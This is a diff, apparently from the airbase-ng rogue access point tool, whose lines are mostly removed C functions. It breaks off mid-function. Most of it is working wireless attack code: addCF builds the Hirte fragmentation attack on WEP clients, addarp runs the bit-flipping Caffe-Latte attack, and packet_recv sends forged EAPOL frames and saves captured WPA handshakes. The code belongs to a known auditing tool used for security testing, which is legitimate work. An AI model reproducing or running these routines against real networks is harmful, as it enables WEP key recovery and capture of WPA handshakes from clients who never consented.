-int packet_xmit_external(unsigned char* packet, int length, struct AP_conf *apc)
-{
-    unsigned char buf[4096];
-    int z=0;
-
-    if(packet == NULL)
-        return 1;
-
-    if(length < 40 || length > 3000)
-        return 1;
-
-    memset(buf, 0, 4096);
-    if(memcmp(packet, buf, 11) != 0)
-    {
-		// Wrong header
-        return 1;
-    }
+	/* MAC Filter */
+	if (opt.filter >= 0)
+	{
+		if (getMACcount(rClient) > 0)
+		{
+			/* filter clients */
+			gotsource = gotMAC(rClient, smac);
 
-    /* cut ethernet header */
-    memcpy(buf, packet, length);
-    length -= 14;
-    memcpy(packet, buf+14, length);
-
-    z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
-
-    if( opt.crypt == CRYPT_WEP || opt.prgalen > 0 )
-    {
-        if(create_wep_packet(packet, &length, z) != 0) return 1;
-    }
-
-    if(memcmp(buf+12, (unsigned char *)"\x00\x00", 2) == 0) /* incoming packet */
-    {
-        packet_recv(packet, length, apc, 0);
-    }
-    else if(memcmp(buf+12, (unsigned char *)"\xFF\xFF", 2) == 0) /* outgoing packet */
-    {
-        send_packet(packet, length);
-    }
-
-    return 0;
-}
-
-int remove_tag(unsigned char *flags, unsigned char type, int *length)
-{
-    int cur_type=0, cur_len=0, len=0;
-    unsigned char *pos;
-    unsigned char buffer[4096];
-
-    if(*length < 2)
-        return 1;
-
-    if(flags == NULL)
-        return 1;
-
-    pos = flags;
-
-    do
-    {
-        cur_type = pos[0];
-        cur_len = pos[1];
-//         printf("tag %d with len %d found, looking for tag %d\n", cur_type, cur_len, type);
-//         printf("gone through %d bytes from %d max\n", len+2+cur_len, *length);
-        if(len+2+cur_len > *length)
-            return 1;
-
-        if(cur_type == type)
-        {
-            if(cur_len > 0 && (pos-flags+cur_len+2) <= *length)
-            {
-                memcpy(buffer, pos+2+cur_len, *length-((pos+2+cur_len) - flags));
-                memcpy(pos, buffer, *length-((pos+2+cur_len) - flags));
-                *length = *length - 2 - cur_len;
-                return 0;
-            }
-            else
-                return 1;
-        }
-        pos += cur_len + 2;
-        len += cur_len + 2;
-    } while(len+2 <= *length);
-
-    return 0;
-}
-
-unsigned char* parse_tags(unsigned char *flags, unsigned char type, int length, int *taglen)
-{
-    int cur_type=0, cur_len=0, len=0;
-    unsigned char *pos;
-
-    if(length < 2)
-        return(NULL);
-
-    if(flags == NULL)
-        return(NULL);
-
-    pos = flags;
-
-    do
-    {
-        cur_type = pos[0];
-        cur_len = pos[1];
-        if(len+2+cur_len > length)
-            return(NULL);
-
-        if(cur_type == type)
-        {
-            if(cur_len > 0)
-            {
-                *taglen = cur_len;
-                return pos+2;
-            }
-            else
-                return(NULL);
-        }
-        pos += cur_len + 2;
-        len += cur_len + 2;
-    } while(len+2 <= length);
-
-    return(NULL);
-}
-
-int wpa_client(struct ST_info *st_cur,unsigned char* tag, int length)
-{
-    if(tag == NULL)
-        return 1;
-
-    if(st_cur == NULL)
-        return 1;
-
-    if(tag[0] != 0xDD && tag[0] != 0x30) //wpa1 or wpa2
-        return 1;
-
-    if(tag[0] == 0xDD)
-    {
-        if(length < 24)
-            return 1;
-
-        switch(tag[17]) {
-            case 0x02:
-                st_cur->wpahash = 1; //md5|tkip
-                break;
-            case 0x04:
-                st_cur->wpahash = 2; //sha1|ccmp
-                break;
-            default:
-                return 1;
-        }
-
-        st_cur->wpatype = 1; //wpa1
-    }
-
-    if(tag[0] == 0x30 && st_cur->wpatype == 0)
-    {
-        if(length < 22)
-            return 1;
-
-        switch(tag[13]) {
-            case 0x02:
-                st_cur->wpahash = 1; //md5|tkip
-                break;
-            case 0x04:
-                st_cur->wpahash = 2; //sha1|ccmp
-                break;
-            default:
-                return 1;
-        }
-
-        st_cur->wpatype = 2; //wpa2
-    }
-
-    return 0;
-}
-
-int set_clear_arp(unsigned char *buf, unsigned char *smac, unsigned char *dmac) //set first 22 bytes
-{
-    if(buf == NULL)
-        return -1;
-
-    memcpy(buf, S_LLC_SNAP_ARP, 8);
-    buf[8]  = 0x00;
-    buf[9]  = 0x01; //ethernet
-    buf[10] = 0x08; // IP
-    buf[11] = 0x00;
-    buf[12] = 0x06; //hardware size
-    buf[13] = 0x04; //protocol size
-    buf[14] = 0x00;
-    if(memcmp(dmac, BROADCAST, 6) == 0)
-        buf[15]  = 0x01; //request
-    else
-        buf[15]  = 0x02; //reply
-    memcpy(buf+16, smac, 6);
-
-    return 0;
-}
-
-int set_final_arp(unsigned char *buf, unsigned char *mymac)
-{
-    if(buf == NULL)
-        return -1;
-
-    //shifted by 10bytes to set source IP as target IP :)
-
-    buf[0] = 0x08; // IP
-    buf[1] = 0x00;
-    buf[2] = 0x06; //hardware size
-    buf[3] = 0x04; //protocol size
-    buf[4] = 0x00;
-    buf[5] = 0x01; //request
-    memcpy(buf+6, mymac, 6); //sender mac
-    buf[12] = 0xA9; //sender IP 169.254.87.197
-    buf[13] = 0xFE;
-    buf[14] = 0x57;
-    buf[15] = 0xC5; //end sender IP
-
-    return 0;
-}
-
-int set_clear_ip(unsigned char *buf, int ip_len) //set first 9 bytes
-{
-    if(buf == NULL)
-        return -1;
-
-    memcpy(buf, S_LLC_SNAP_IP, 8);
-    buf[8]  = 0x45;
-    buf[10] = (ip_len >> 8)  & 0xFF;
-    buf[11] = ip_len & 0xFF;
-
-    return 0;
-}
-
-int set_final_ip(unsigned char *buf, unsigned char *mymac)
-{
-    if(buf == NULL)
-        return -1;
-
-    //shifted by 10bytes to set source IP as target IP :)
-
-    buf[0] = 0x06; //hardware size
-    buf[1] = 0x04; //protocol size
-    buf[2] = 0x00;
-    buf[3] = 0x01; //request
-    memcpy(buf+4, mymac, 6); //sender mac
-    buf[10] = 0xA9; //sender IP from 169.254.XXX.XXX
-    buf[11] = 0xFE;
-    buf[12] = 0x57;
-    buf[13] = 0xC5; //end sender IP
-
-    return 0;
-}
-
-//add packet for client fragmentation attack
-int addCF(unsigned char* packet, int length)
-{
-    pCF_t   curCF = rCF;
-    unsigned char bssid[6];
-    unsigned char smac[6];
-    unsigned char dmac[6];
-    unsigned char keystream[128];
-    unsigned char frag1[128], frag2[128], frag3[128];
-    unsigned char clear[4096], final[4096], flip[4096];
-    int isarp;
-    int z, i;
-
-    if(curCF == NULL)
-        return 1;
-
-    if(packet == NULL)
-        return 1;
-
-    z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
-
-    if(length < z+8)
-        return 1;
-
-    if(length > 3800)
-    {
-        return 1;
-    }
-
-    if(opt.cf_count >= 100)
-        return 1;
-
-    memset(clear, 0, 4096);
-    memset(final, 0, 4096);
-    memset(flip, 0, 4096);
-    memset(frag1, 0, 128);
-    memset(frag2, 0, 128);
-    memset(frag3, 0, 128);
-    memset(keystream, 0, 128);
-
-    switch( packet[1] & 3 )
-    {
-        case  0:
-            memcpy( bssid, packet + 16, 6 );
-            memcpy( dmac, packet + 4, 6 );
-            memcpy( smac, packet + 10, 6 );
-            break;
-        case  1:
-            memcpy( bssid, packet + 4, 6 );
-            memcpy( dmac, packet + 16, 6 );
-            memcpy( smac, packet + 10, 6 );
-            break;
-        case  2:
-            memcpy( bssid, packet + 10, 6 );
-            memcpy( dmac, packet + 4, 6 );
-            memcpy( smac, packet + 16, 6 );
-            break;
-        default:
-            memcpy( bssid, packet + 10, 6 );
-            memcpy( dmac, packet + 16, 6 );
-            memcpy( smac, packet + 24, 6 );
-            break;
-    }
-
-    if( is_ipv6(packet) )
-    {
-        if(opt.verbose)
-        {
-            PCT; printf("Ignored IPv6 packet.\n");
-        }
-
-        return 1;
-    }
-
-    if( is_dhcp_discover(packet, length-z-4-4) )
-    {
-        if(opt.verbose)
-        {
-            PCT; printf("Ignored DHCP Discover packet.\n");
-        }
-
-        return 1;
-    }
-
-    /* check if it's a potential ARP request */
-
-    //its length 68 or 86 and going to broadcast or a unicast mac (even first byte)
-    if( (length == 68 || length == 86) && (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0]%2) == 0) )
-    {
-        /* process ARP */
-        isarp = 1;
-        //build the new packet
-        set_clear_arp(clear, smac, dmac);
-        set_final_arp(final, opt.r_smac);
-
-        for(i=0; i<14; i++)
-            keystream[i] = (packet+z+4)[i] ^ clear[i];
-
-        // correct 80211 header
-        packet[0] = 0x08;    //data
-        if( (packet[1] & 3) == 0x00 ) //ad-hoc
-        {
-            packet[1] = 0x40;    //wep
-            memcpy(packet+4, smac, 6);
-            memcpy(packet+10, opt.r_smac, 6);
-            memcpy(packet+16, bssid, 6);
-        }
-        else //tods
-        {
-            packet[1] = 0x42;    //wep+FromDS
-            memcpy(packet+4, smac, 6);
-            memcpy(packet+10, bssid, 6);
-            memcpy(packet+16, opt.r_smac, 6);
-        }
-        packet[22] = 0xD0; //frag = 0;
-        packet[23] = 0x50;
-
-        //need to shift by 10 bytes; (add 1 frag in front)
-        memcpy(frag1, packet, z+4); //copy 80211 header and IV
-        frag1[1] |= 0x04; //more frags
-        memcpy(frag1+z+4, S_LLC_SNAP_ARP, 8);
-        frag1[z+4+8] = 0x00;
-        frag1[z+4+9] = 0x01; //ethernet
-        add_crc32(frag1+z+4, 10);
-        for(i=0; i<14; i++)
-            (frag1+z+4)[i] ^= keystream[i];
-        /* frag1 finished */
-
-        for(i=0; i<length; i++)
-            flip[i] = clear[i] ^ final[i];
-
-        add_crc32_plain(flip, length-z-4-4);
-
-        for(i=0; i<length-z-4; i++)
-            (packet+z+4)[i] ^= flip[i];
-        packet[22] = 0xD1; // frag = 1;
-
-        //ready to send frag1 / len=z+4+10+4 and packet / len = length
-    }
-    else
-    {
-        /* process IP */
-        isarp = 0;
-        //build the new packet
-        set_clear_ip(clear, length-z-4-8-4);
-        set_final_ip(final, opt.r_smac);
-
-        for(i=0; i<8; i++)
-            keystream[i] = (packet+z+4)[i] ^ clear[i];
-
-        // correct 80211 header
-        packet[0] = 0x08;    //data
-        if( (packet[1] & 3) == 0x00 ) //ad-hoc
-        {
-            packet[1] = 0x40;    //wep
-            memcpy(packet+4, smac, 6);
-            memcpy(packet+10, opt.r_smac, 6);
-            memcpy(packet+16, bssid, 6);
-        }
-        else
-        {
-            packet[1] = 0x42;    //wep+FromDS
-            memcpy(packet+4, smac, 6);
-            memcpy(packet+10, bssid, 6);
-            memcpy(packet+16, opt.r_smac, 6);
-        }
-        packet[22] = 0xD0; //frag = 0;
-        packet[23] = 0x50;
-
-        //need to shift by 12 bytes;(add 3 frags in front)
-        memcpy(frag1, packet, z+4); //copy 80211 header and IV
-        memcpy(frag2, packet, z+4); //copy 80211 header and IV
-        memcpy(frag3, packet, z+4); //copy 80211 header and IV
-        frag1[1] |= 0x04; //more frags
-        frag2[1] |= 0x04; //more frags
-        frag3[1] |= 0x04; //more frags
-
-        memcpy(frag1+z+4, S_LLC_SNAP_ARP, 4);
-        add_crc32(frag1+z+4, 4);
-        for(i=0; i<8; i++)
-            (frag1+z+4)[i] ^= keystream[i];
-
-        memcpy(frag2+z+4, S_LLC_SNAP_ARP+4, 4);
-        add_crc32(frag2+z+4, 4);
-        for(i=0; i<8; i++)
-            (frag2+z+4)[i] ^= keystream[i];
-        frag2[22] = 0xD1; //frag = 1;
-
-        frag3[z+4+0] = 0x00;
-        frag3[z+4+1] = 0x01; //ether
-        frag3[z+4+2] = 0x08; //IP
-        frag3[z+4+3] = 0x00;
-        add_crc32(frag3+z+4, 4);
-        for(i=0; i<8; i++)
-            (frag3+z+4)[i] ^= keystream[i];
-        frag3[22] = 0xD2; //frag = 2;
-        /* frag1,2,3 finished */
-
-        for(i=0; i<length; i++)
-            flip[i] = clear[i] ^ final[i];
-
-        add_crc32_plain(flip, length-z-4-4);
-
-        for(i=0; i<length-z-4; i++)
-            (packet+z+4)[i] ^= flip[i];
-        packet[22] = 0xD3; // frag = 3;
-
-        //ready to send frag1,2,3 / len=z+4+4+4 and packet / len = length
-    }
-    while(curCF->next != NULL)
-        curCF = curCF->next;
-
-    pthread_mutex_lock( &mx_cf );
-
-    curCF->next = (pCF_t) malloc(sizeof(struct CF_packet));
-    curCF = curCF->next;
-    curCF->xmitcount = 0;
-    curCF->next = NULL;
-
-    if(isarp)
-    {
-        memcpy(curCF->frags[0], frag1, z+4+10+4);
-        curCF->fraglen[0] = z+4+10+4;
-        memcpy(curCF->final, packet, length);
-        curCF->finallen = length;
-        curCF->fragnum = 1; /* one frag and final frame */
-    }
-    else
-    {
-        memcpy(curCF->frags[0], frag1, z+4+4+4);
-        memcpy(curCF->frags[1], frag2, z+4+4+4);
-        memcpy(curCF->frags[2], frag3, z+4+4+4);
-        curCF->fraglen[0] = z+4+4+4;
-        curCF->fraglen[1] = z+4+4+4;
-        curCF->fraglen[2] = z+4+4+4;
-        memcpy(curCF->final, packet, length);
-        curCF->finallen = length;
-        curCF->fragnum = 3; /* three frags and final frame */
-    }
-
-    opt.cf_count++;
-
-    pthread_mutex_unlock( &mx_cf );
-
-    if(opt.cf_count == 1 && !opt.quiet)
-    {
-        PCT; printf("Starting Hirte attack against %02X:%02X:%02X:%02X:%02X:%02X at %d pps.\n",
-                smac[0],smac[1],smac[2],smac[3],smac[4],smac[5],opt.r_nbpps);
-    }
-
-    if(opt.verbose)
-    {
-        PCT; printf("Added %s packet to cfrag buffer.\n", isarp?"ARP":"IP");
-    }
-
-    return 0;
-}
-
-//add packet for caffe latte attack
-int addarp(unsigned char* packet, int length)
-{
-    unsigned char bssid[6], smac[6], dmac[6];
-    unsigned char flip[4096];
-    int z=0, i=0;
-
-    if(packet == NULL)
-        return -1;
-
-    if(length != 68 && length != 86)
-        return -1;
-
-    z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
-
-    if(( packet[1] & 3 ) == 0)
-    {
-        memcpy( dmac, packet + 4, 6 );
-        memcpy( smac, packet + 10, 6 );
-        memcpy( bssid, packet + 16, 6 );
-    }
-    else
-    {
-        memcpy( dmac, packet + 4, 6 );
-        memcpy( bssid, packet + 10, 6 );
-        memcpy( smac, packet + 16, 6 );
-    }
-
-    if(memcmp(dmac, BROADCAST, 6) != 0)
-        return -1;
-
-    if(memcmp(bssid, opt.r_bssid, 6) != 0)
-        return -1;
-
-    packet[21] ^= ((rand() % 255)+1); //Sohail:flip sender MAC address since few clients do not honor ARP from its own MAC
-
-    if(opt.nb_arp >= opt.ringbuffer)
-        return -1;
-
-    memset(flip, 0, 4096);
-
-    flip[49-z-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC
-    flip[53-z-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP
-
-    add_crc32_plain(flip, length-z-4-4);
-    for(i=0; i<length-z-4; i++)
-        (packet+z+4)[i] ^= flip[i];
-
-    arp[opt.nb_arp].buf = (unsigned char*) malloc(length);
-    arp[opt.nb_arp].len = length;
-    memcpy(arp[opt.nb_arp].buf, packet, length);
-    opt.nb_arp++;
-
-    if(opt.nb_arp == 1 && !opt.quiet)
-    {
-        PCT; printf("Starting Caffe-Latte attack against %02X:%02X:%02X:%02X:%02X:%02X at %d pps.\n",
-                smac[0],smac[1],smac[2],smac[3],smac[4],smac[5],opt.r_nbpps);
-    }
-
-    if(opt.verbose)
-    {
-        PCT; printf("Added an ARP to the caffe-latte ringbuffer %d/%d\n", opt.nb_arp, opt.ringbuffer);
-    }
-
-    return 0;
-}
-
-int store_wpa_handshake(struct ST_info *st_cur)
-{
-    FILE *f_ivs;
-    struct ivs2_filehdr fivs2;
-    char ofn[1024];
-    struct ivs2_pkthdr ivs2;
-
-    if(st_cur == NULL)
-        return 1;
-
-    fivs2.version = IVS2_VERSION;
-
-    snprintf( ofn,  sizeof( ofn ) - 1, "wpa-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s",
-                opt.f_index, st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2]
-                , st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5], IVS2_EXTENSION );
-
-    opt.f_index++;
-
-    if( ( f_ivs = fopen( ofn, "wb+" ) ) == NULL )
-    {
-        perror( "fopen failed" );
-        fprintf( stderr, "Could not create \"%s\".\n", ofn );
-        return( 1 );
-    }
-
-    if( fwrite( IVS2_MAGIC, 1, 4, f_ivs ) != (size_t) 4 )
-    {
-        perror( "fwrite(IVs file MAGIC) failed" );
-        fclose( f_ivs );
-        return( 1 );
-    }
-
-    if( fwrite( &fivs2, 1, sizeof(struct ivs2_filehdr), f_ivs ) != (size_t) sizeof(struct ivs2_filehdr) )
-    {
-        perror( "fwrite(IVs file header) failed" );
-        fclose( f_ivs );
-        return( 1 );
-    }
-
-    memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-
-    //write stmac as bssid and essid
-    ivs2.flags = 0;
-    ivs2.len = 0;
-
-    ivs2.len += st_cur->essid_length;
-    ivs2.flags |= IVS2_ESSID;
-
-    ivs2.flags |= IVS2_BSSID;
-    ivs2.len += 6;
-
-    if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs )
-        != (size_t) sizeof(struct ivs2_pkthdr) )
-    {
-        perror( "fwrite(IV header) failed" );
-        fclose( f_ivs );
-        return( 1 );
-    }
-
-    if( fwrite( opt.r_bssid, 1, 6, f_ivs ) != (size_t) 6 )
-    {
-        perror( "fwrite(IV bssid) failed" );
-        fclose( f_ivs );
-        return( 1 );
-    }
-    ivs2.len -= 6;
-
-    /* write essid */
-    if( fwrite( st_cur->essid, 1, st_cur->essid_length, f_ivs )
-        != (size_t) st_cur->essid_length )
-    {
-        perror( "fwrite(IV essid) failed" );
-        fclose( f_ivs );
-        return( 1 );
-    }
-
-    //add wpa data
-    ivs2.flags = 0;
-    ivs2.len = 0;
-
-    ivs2.len= sizeof(struct WPA_hdsk);
-    ivs2.flags |= IVS2_WPA;
-
-
-    if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs )
-        != (size_t) sizeof(struct ivs2_pkthdr) )
-    {
-        perror( "fwrite(IV header) failed" );
-        fclose( f_ivs );
-        return( 1 );
-    }
-
-    if( fwrite( &(st_cur->wpa), 1, sizeof(struct WPA_hdsk), f_ivs ) != (size_t) sizeof(struct WPA_hdsk) )
-    {
-        perror( "fwrite(IV wpa_hdsk) failed" );
-        fclose( f_ivs );
-        return( 1 );
-    }
-
-    fclose( f_ivs );
-
-    return 0;
-}
-
-int packet_recv(unsigned char* packet, int length, struct AP_conf *apc, int external)
-{
-    unsigned char K[64];
-    unsigned char bssid[6];
-    unsigned char smac[6];
-    unsigned char dmac[6];
-    int trailer=0;
-    unsigned char *tag=NULL;
-    int len, i, c;
-    unsigned char *buffer;
-    char essid[256];
-    struct timeval tv1;
-    u_int64_t timestamp;
-    char fessid[MAX_IE_ELEMENT_SIZE+1];
-    int seqnum, fragnum, morefrag;
-    int gotsource, gotbssid;
-    int remaining, bytes2use;
-    int reasso, fixed, temp_channel;
-    unsigned z;
-
-    struct ST_info *st_cur = NULL;
-    struct ST_info *st_prv = NULL;
-
-	reasso = 0; fixed = 0;
-    memset(essid, 0, 256);
-
-    pthread_mutex_lock( &mx_cap );
-    if(opt.record_data)
-        capture_packet(packet, length);
-    pthread_mutex_unlock( &mx_cap );
-
-    z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
-
-	if (packet[0] == 0x88)
-		z += 2; /* handle QoS field */
-
-    if((unsigned)length < z)
-    {
-        return 1;
-    }
-
-    if(length > 3800)
-    {
-        return 1;
-    }
-
-    switch( packet[1] & 3 )
-    {
-        case  0:
-            memcpy( bssid, packet + 16, 6 );
-            memcpy( dmac, packet + 4, 6 );
-            memcpy( smac, packet + 10, 6 );
-            break;
-        case  1:
-            memcpy( bssid, packet + 4, 6 );
-            memcpy( dmac, packet + 16, 6 );
-            memcpy( smac, packet + 10, 6 );
-            break;
-        case  2:
-            memcpy( bssid, packet + 10, 6 );
-            memcpy( dmac, packet + 4, 6 );
-            memcpy( smac, packet + 16, 6 );
-            break;
-        default:
-            memcpy( bssid, packet + 10, 6 );
-            memcpy( dmac, packet + 16, 6 );
-            memcpy( smac, packet + 24, 6 );
-            break;
-    }
-
-    if( (packet[1] & 3) == 0x03)
-    {
-        /* no wds support yet */
-        return 1;
-    }
-
-    /* MAC Filter */
-    if(opt.filter >= 0)
-    {
-        if(getMACcount(rClient) > 0)
-        {
-            /* filter clients */
-            gotsource = gotMAC(rClient, smac);
-
-            if((gotsource && opt.filter == BLOCK_MACS) || ( !gotsource && opt.filter == ALLOW_MACS))
-                return 0;
-        }
-        if(getMACcount(rBSSID) > 0)
-        {
-            /* filter bssids */
-            gotbssid = gotMAC(rBSSID, bssid);
-
-            if((gotbssid && opt.filter == BLOCK_MACS) || ( !gotbssid && opt.filter == ALLOW_MACS))
-                return 0;
-        }
-    }
-
-    /* check list of clients */
-    st_cur = opt.st_1st;
-    st_prv = NULL;
-
-    while( st_cur != NULL )
-    {
-        if( ! memcmp( st_cur->stmac, smac, 6 ) )
-            break;
-
-        st_prv = st_cur;
-        st_cur = st_cur->next;
-    }
-
-    /* if it's a new client, add it */
-
-    if( st_cur == NULL )
-    {
-        if( ! ( st_cur = (struct ST_info *) malloc(
-                         sizeof( struct ST_info ) ) ) )
-        {
-            perror( "malloc failed" );
-            return( 1 );
-        }
-
-        memset( st_cur, 0, sizeof( struct ST_info ) );
-
-        if( opt.st_1st == NULL )
-            opt.st_1st = st_cur;
-        else
-            st_prv->next  = st_cur;
-
-        memcpy( st_cur->stmac, smac, 6 );
-
-        st_cur->prev = st_prv;
-
-        st_cur->tinit = time( NULL );
-        st_cur->tlast = time( NULL );
-
-        st_cur->power = -1;
-        st_cur->rate_to = -1;
-        st_cur->rate_from = -1;
-
-        st_cur->probe_index = -1;
-        st_cur->missed  = 0;
-        st_cur->lastseq = 0;
-        gettimeofday( &(st_cur->ftimer), NULL);
-
-        for( i = 0; i < NB_PRB; i++ )
-        {
-            memset( st_cur->probes[i], 0, sizeof(
-                    st_cur->probes[i] ) );
-            st_cur->ssid_length[i] = 0;
-        }
-
-        memset(st_cur->essid, 0, 256);
-        st_cur->essid_length = 0;
-
-        st_cur->wpatype = 0;
-        st_cur->wpahash = 0;
-        st_cur->wep = 0;
-
-        opt.st_end = st_cur;
-    }
-
-
-    /* Got a data packet with our bssid set and ToDS==1*/
-    if( memcmp( bssid, opt.r_bssid, 6) == 0 && ( packet[0] & 0x08 ) == 0x08 && (packet[1] & 0x03) == 0x01 )
-    {
-//         printf("to me with len: %d\n", length);
-        fragnum = packet[22] & 0x0F;
-        seqnum = (packet[22] >> 4) | (packet[23] << 4);
-        morefrag = packet[1] & 0x04;
-
-//         printf("frag: %d, morefrag: %d\n", fragnum, morefrag);
-
-        /* Fragment? */
-        if(fragnum > 0 || morefrag)
-        {
-            addFrag(packet, smac, length);
-            buffer = getCompleteFrag(smac, seqnum, &len);
-            timeoutFrag();
-
-            /* we got frag, no compelete packet avail -> do nothing */
-            if(buffer == NULL)
-                return 1;
-
-//             printf("got all frags!!!\n");
-            memcpy(packet, buffer, len);
-            length = len;
-            free(buffer);
-            buffer = NULL;
-        }
-
-        /* intercept packets in case we got external processing */
-        if(external)
-        {
-            intercept(packet, length);
-            return 0;
-        }
-
-        /* To our mac? */
-        if( (memcmp( dmac, opt.r_bssid, 6) == 0 && !opt.adhoc ) ||
-            (memcmp( dmac, opt.r_smac, 6) == 0 && opt.adhoc ) )
-        {
-            /* Is encrypted */
-            if( (packet[z] != packet[z + 1] || packet[z + 2] != 0x03) && (packet[1] & 0x40) == 0x40 )
-            {
-                /* check the extended IV flag */
-                /* WEP and we got the key */
-                if( ( packet[z + 3] & 0x20 ) == 0 && opt.crypt == CRYPT_WEP && !opt.cf_attack)
-                {
-                    memcpy( K, packet + z, 3 );
-                    memcpy( K + 3, opt.wepkey, opt.weplen );
-
-                    if (decrypt_wep( packet + z + 4, length - z - 4,
-                                    K, 3 + opt.weplen ) == 0 )
-                    {
-//                         printf("ICV check failed!\n");
-                        return 1;
-                    }
-
-                    /* WEP data packet was successfully decrypted, *
-                    * remove the WEP IV & ICV and write the data  */
-
-                    length -= 8;
-
-                    memcpy( packet + z, packet + z + 4, length - z );
-
-                    packet[1] &= 0xBF;
-                }
-                else
-                {
-                    if(opt.cf_attack)
-                    {
-                        addCF(packet, length);
-                        return 0;
-                    }
-
-                    /* its a packet for us, but we either don't have the key or its WPA -> throw it away */
-                    return 0;
-                }
-            }
-            else
-            {
-                /* unencrypted data packet, nothing special, send it through dev_ti */
-                if(opt.sendeapol && memcmp(packet+z, "\xAA\xAA\x03\x00\x00\x00\x88\x8E\x01\x01", 10) == 0)
-                {
-                    /* got eapol start frame */
-                    if(opt.verbose)
-                    {
-                        PCT; printf("Got EAPOL start frame from %02X:%02X:%02X:%02X:%02X:%02X\n",
-                                smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]);
-                    }
-                    st_cur->wpa.state = 0;
-
-                    if (opt.use_fixed_nonce) {
-                    	memcpy(st_cur->wpa.anonce, opt.fixed_nonce, 32);
-                    } else {
-                    	for(i=0; i<32; i++)
-                    		st_cur->wpa.anonce[i] = rand()&0xFF;
-                    }
-                    st_cur->wpa.state |= 1;
-
-                    /* build first eapol frame */
-                    memcpy(h80211, "\x08\x02\xd5\x00", 4);
-                    len = 4;
-
-                    memcpy(h80211+len, smac, 6);
-                    len += 6;
-                    memcpy(h80211+len, bssid, 6);
-                    len += 6;
-                    memcpy(h80211+len, bssid, 6);
-                    len += 6;
-
-                    h80211[len] = 0x60;
-                    h80211[len+1] = 0x0f;
-                    len += 2;
-
-                    //llc+snap
-                    memcpy(h80211+len, "\xAA\xAA\x03\x00\x00\x00\x88\x8E", 8);
-                    len += 8;
-
-                    //eapol
-                    memset(h80211+len, 0, 99);
-                    h80211[len]    = 0x01;//version
-                    h80211[len+1]  = 0x03;//type
-                    h80211[len+2]  = 0x00;
-                    h80211[len+3]  = 0x5F;//len
-                    if(opt.wpa1type)
-                        h80211[len+4]  = 0xFE; //WPA1
-
-                    if(opt.wpa2type)
-                        h80211[len+4]  = 0x02; //WPA2
-
-                    if(!opt.wpa1type && !opt.wpa2type)
-                    {
-                        if(st_cur->wpatype == 1) //WPA1
-                            h80211[len+4]  = 0xFE; //WPA1
-                        else if(st_cur->wpatype == 2)
-                            h80211[len+4]  = 0x02; //WPA2
-                    }
-
-                    if(opt.sendeapol >= 1 && opt.sendeapol <= 2) //specified
-                    {
-                        if(opt.sendeapol == 1) //MD5
-                        {
-                            h80211[len+5] = 0x00;
-                            h80211[len+6] = 0x89;
-                        }
-                        else //SHA1
-                        {
-                            h80211[len+5] = 0x00;
-                            h80211[len+6] = 0x8a;
-                        }
-                    }
-                    else //from asso
-                    {
-                        if(st_cur->wpahash == 1) //MD5
-                        {
-                            h80211[len+5] = 0x00;
-                            h80211[len+6] = 0x89;
-                        }
-                        else if(st_cur->wpahash == 2) //SHA1
-                        {
-                            h80211[len+5] = 0x00;
-                            h80211[len+6] = 0x8a;
-                        }
-                    }
-
-                    h80211[len+7] = 0x00;
-                    h80211[len+8] = 0x20; //keylen
-
-                    memset(h80211+len+9, 0, 90);
-                    memcpy(h80211+len+17, st_cur->wpa.anonce, 32);
-
-                    len+=99;
-
-                    send_packet(h80211, len);
-                    return 0;
-                }
-
-                if(opt.sendeapol && memcmp(packet+z, "\xAA\xAA\x03\x00\x00\x00\x88\x8E\x01\x03", 10) == 0)
-                {
-                     st_cur->wpa.eapol_size = ( packet[z + 8 + 2] << 8 ) + packet[z + 8 + 3] + 4;
-
-                     if ((unsigned)length - z - 10 < st_cur->wpa.eapol_size  || st_cur->wpa.eapol_size == 0 ||
-                         st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol))
-                     {
-                         // Ignore the packet trying to crash us.
-                         st_cur->wpa.eapol_size = 0;
-                         return 1;
-                     }
-
-                    /* got eapol frame num 2 */
-                    memcpy( st_cur->wpa.snonce, &packet[z + 8 + 17], 32 );
-                    st_cur->wpa.state |= 2;
-
-                    memcpy( st_cur->wpa.keymic, &packet[z + 8 + 81], 16 );
-                    memcpy( st_cur->wpa.eapol,  &packet[z + 8], st_cur->wpa.eapol_size );
-                    memset( st_cur->wpa.eapol + 81, 0, 16 );
-                    st_cur->wpa.state |= 4;
-                    st_cur->wpa.keyver = packet[z + 8 + 6] & 7;
-
-                    memcpy( st_cur->wpa.stmac, st_cur->stmac, 6 );
-
-                    store_wpa_handshake(st_cur);
-                    if(!opt.quiet)
-                    {
-                        PCT; printf("Got WPA handshake from %02X:%02X:%02X:%02X:%02X:%02X\n",
-                                    smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]);
-                    }
-
-                    return 0;
-                }
-            }
-        }
-        else
-        {
-            packet[1] &= 0xFC; //clear ToDS/FromDS
-            if(!opt.adhoc)
-            {
-                /* Our bssid, ToDS=1, but to a different destination MAC -> send it through both interfaces */
-                packet[1] |= 0x02; //set FromDS=1
-                memcpy(packet +  4, dmac, 6);
-                memcpy(packet + 10, bssid, 6);
-                memcpy(packet + 16, smac, 6);
-            }
-            else
-            {
-                /* adhoc, don't replay */
-                memcpy(packet +  4, dmac, 6);
-                memcpy(packet + 10, smac, 6);
-                memcpy(packet + 16, bssid, 6);
-            }
-//             printf("sent packet length: %d\n", length);
-            /* Is encrypted */
-            if( (packet[z] != packet[z + 1] || packet[z + 2] != 0x03) && (packet[1] & 0x40) == 0x40 )
-            {
-                /* check the extended IV flag */
-                /* WEP and we got the key */
-                if( ( packet[z + 3] & 0x20 ) == 0 && opt.crypt == CRYPT_WEP && !opt.caffelatte && !opt.cf_attack )
-                {
-                    memcpy( K, packet + z, 3 );
-                    memcpy( K + 3, opt.wepkey, opt.weplen );
-
-                    if (decrypt_wep( packet + z + 4, length - z - 4,
-                                    K, 3 + opt.weplen ) == 0 )
-                    {
